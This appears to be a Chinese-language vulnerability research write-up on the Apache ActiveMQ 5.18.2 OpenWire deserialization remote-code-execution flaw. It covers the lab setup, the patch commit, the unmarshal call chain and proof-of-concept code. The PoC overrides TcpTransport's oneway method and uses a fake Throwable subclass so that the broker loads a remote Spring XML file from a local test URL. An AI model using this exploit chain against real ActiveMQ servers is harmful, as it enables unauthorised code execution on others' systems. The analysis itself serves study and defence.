ActiveMQ RCE 分析

activemq-5.18.2
漏洞环境
查看windows搭建
windows环境搭建
在目录下使用
mvn clean install -DskipTests
将activemq-activemq-5.18.2/assembly/target的apache-activemq-5.18.2-bin.zip
解压

添加到库中
这样没完全添加,将lib目录下文件全部添加
然后把其中的 conf、webapps 和 lib 文件夹,拷贝到 activemq-parent-5.15.12 项目的同级目录下
运行

$ cat log.txt |grep marshaller
This fixes the OpenWire v12 marshaller so that if an exception is
AMQ-9370 - Improve Openwire marshaller validation test
AMQ-9370 - Openwire marshaller should validate Throwable class type
AMQ-9370 - Openwire marshaller should validate Throwable class type
Fixing KahaDB so that the correct marshaller is used for the message
Use the latest openwire version marshallers in the KahaDB store when
https://issues.apache.org/jira/browse/AMQ-3236 - fix regression in MessageAckTest, ensure wireversion is used for marshaller test
Reverting recent chagnes to openwire v3 marshallers that snuck in with my last commit
Set the eol style on the generated marshallers
Added openwire v2 marshallers
Adding initial marshaller for v2
Configure our use of the gram maven plugin so that it generates the openwire marshaller source code.
with the m2 gram plugin to generate openwire marshallers under maven 2.
latest generated OpenWire commands and marshallers - updated WireFormatInfo so that it has boolean flags for the various options like stack trace and the like (we should avoid int based bitflags going forwards now as they are harder to support in other languages and are more brittle)
updated marshallers.
发现
commit 3eaf3107f4fb9a3ce7ab45c175bfaeac7e866d5b
记录下修改

增加了一行验证
查看createThrowable在哪里调用到他

BaseDataStreamMarshaller#tightUnmarsalThrowable
而且ExceptionResponseMarshaller的反序列化调用了他

编写activeMQ通信demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package test;  

import org.apache.activemq.ActiveMQConnection;
import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

public class Main {
public static void main(String[] args) throws Exception{
ActiveMQConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");

// 构造从工厂得到连接对象
Connection connection = connectionFactory.createConnection();
// 启动
connection.start();
// 获取操作连接
Session session = connection.createSession(Boolean.TRUE,
Session.AUTO_ACKNOWLEDGE);
// 获取session注意参数值xingbo.xu-queue是一个服务器的queue,须在在ActiveMq的console配置
Queue firstQueue = session.createQueue("FirstQueue");
// 得到消息生成者【发送者】
MessageProducer producer = session.createProducer(firstQueue);
// 设置不持久化,此处学习,实际根据项目决定
ObjectMessage objectMessage = session.createObjectMessage("aaa");

// 构造消息,此处写死,项目就是参数,或者方法获取
producer.send(objectMessage);
connection.close();
}
}

发送信息后,activeMQ会调用
org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()进行反序列化

观看源代码发现

是dataType的值决定了反序列化哪个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Object doUnmarshal(DataInput dis) throws IOException {  
byte dataType = dis.readByte();
if (dataType != 0) {
DataStreamMarshaller dsm = this.dataMarshallers[dataType & 255];
if (dsm == null) {
throw new IOException("Unknown data type: " + dataType);
} else {
Object data = dsm.createObject();
if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
bs.unmarshal(dis);
dsm.tightUnmarshal(this, data, dis, bs);
} else {
dsm.looseUnmarshal(this, data, dis);
}

return data;
}
} else {
return null;
}
}

所以我们得想办法将dataType的值pattch成31
序列化的方法就是

TcpTransport#oneway
调用的marshal方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public synchronized void marshal(Object o, DataOutput dataOut) throws IOException {  
if (this.cacheEnabled) {
this.runMarshallCacheEvictionSweep();
}

int size = 1;
if (o != null) {
DataStructure c = (DataStructure)o;
byte type = c.getDataStructureType();
DataStreamMarshaller dsm = this.dataMarshallers[type & 255];
if (dsm == null) {
throw new IOException("Unknown data type: " + type);
}

if (this.tightEncodingEnabled) {
BooleanStream bs = new BooleanStream();
size += dsm.tightMarshal1(this, c, bs);
size += bs.marshalledSize();
if (this.maxFrameSizeEnabled && (long)size > this.maxFrameSize) {
throw IOExceptionSupport.createFrameSizeException(size, this.maxFrameSize);
}

if (!this.sizePrefixDisabled) {
dataOut.writeInt(size);
}

dataOut.writeByte(type);
bs.marshal(dataOut);
dsm.tightMarshal2(this, c, dataOut, bs);
} else {
DataOutput looseOut = dataOut;
if (!this.sizePrefixDisabled) {
this.bytesOut.restart();
looseOut = this.bytesOut;
}

((DataOutput)looseOut).writeByte(type);
dsm.looseMarshal(this, c, (DataOutput)looseOut);
if (!this.sizePrefixDisabled) {
ByteSequence sequence = this.bytesOut.toByteSequence();
dataOut.writeInt(sequence.getLength());
dataOut.write(sequence.getData(), sequence.getOffset(), sequence.getLength());
}
}
} else {
if (!this.sizePrefixDisabled) {
dataOut.writeInt(size);
}

dataOut.writeByte(0);
}

}

获取类型,然后写入到序列化的类中
ExceptionResponseMarshaller是序列化的类,而ExceptionResponse就是传入的值
所以
command可以编写ExceptionResponse
dataOut即是ExceptionResponseMarshaller是序列化的类,
不用那么麻烦我们复制在当前文件中修改他的oneway即可

1
2
3
4
5
6
7
8
9
public void oneway(Object command) throws IOException {  
this.checkStarted();
Throwable classPathXmlApplicationContext = new ClassPathXmlApplicationContext("http://127.0.0.1:9090/poc.xml");

ExceptionResponse exceptionResponse = new ExceptionResponse(classPathXmlApplicationContext);

this.wireFormat.marshal(exceptionResponse, this.dataOut);
this.dataOut.flush();
}

由于ClassPathXmlApplicationContext要变成Throwable,我们重写一下他

1
2
3
4
5
6
7
8
9
10
11
12
13
package org.springframework.context.support;  
public class ClassPathXmlApplicationContext extends Throwable{
private String detailMessage;
public ClassPathXmlApplicationContext() {
}
public ClassPathXmlApplicationContext(String message) {
detailMessage = message;
}
@Override
public String getMessage() {
return detailMessage;
}
}

为什么能这样做了,我们详细看一下流程
因为我们发送的是ExceptionResponse,所以Type值为31

获取解析器,也就是ExceptionResponseMarshaller

进入looseUnmarsalThrowable

获取类名和参数

在server端的ClassPathXmlApplicationContext是正常的没有修改过的,调用createThrowable,
通过反射实例化,所以本地client端就可以任意修改,无所谓

也就是实例化rce,FileSystemXmlApplicationContext也行

总结

入口类

1
2
3
protected Object readCommand() throws IOException {  
return this.wireFormat.unmarshal(this.dataIn);
}

通过代码交互,会自动调用到unmarshal中
OpenWireFormat#unmarshal->OpenWireFormat#doUnmarshal->ExceptionResponseMarshaller#looseUnmarshal->BaseDataStreamMarshaller#looseUnmarsalThrowable->BaseDataStreamMarshaller#createThrowable

1
2
3
String clazz = this.looseUnmarshalString(dataIn);  
String message = this.looseUnmarshalString(dataIn);
Throwable o = this.createThrowable(clazz, message);

个人分析链子的寻找应该是从createThrowable发现looseUnmarsalThrowable调用了他
然后发现ExceptionResponseMarshaller调用了looseUnmarsalThrowable

然后发现反序列化的时候,当dataType为31的时候,可以使用ExceptionResponseMarshaller

然后发现序列化的时候,可以修改函数,使得ExceptionResponse发送过去,ExceptionResponse需要Throwable参数,在本地修改两个class为继承Throwable是为了方便操控发送过去的classname,因为实例化rce的两个class都不是Throwable类型,调用ExceptionResponseMarshaller,达到实例化rce,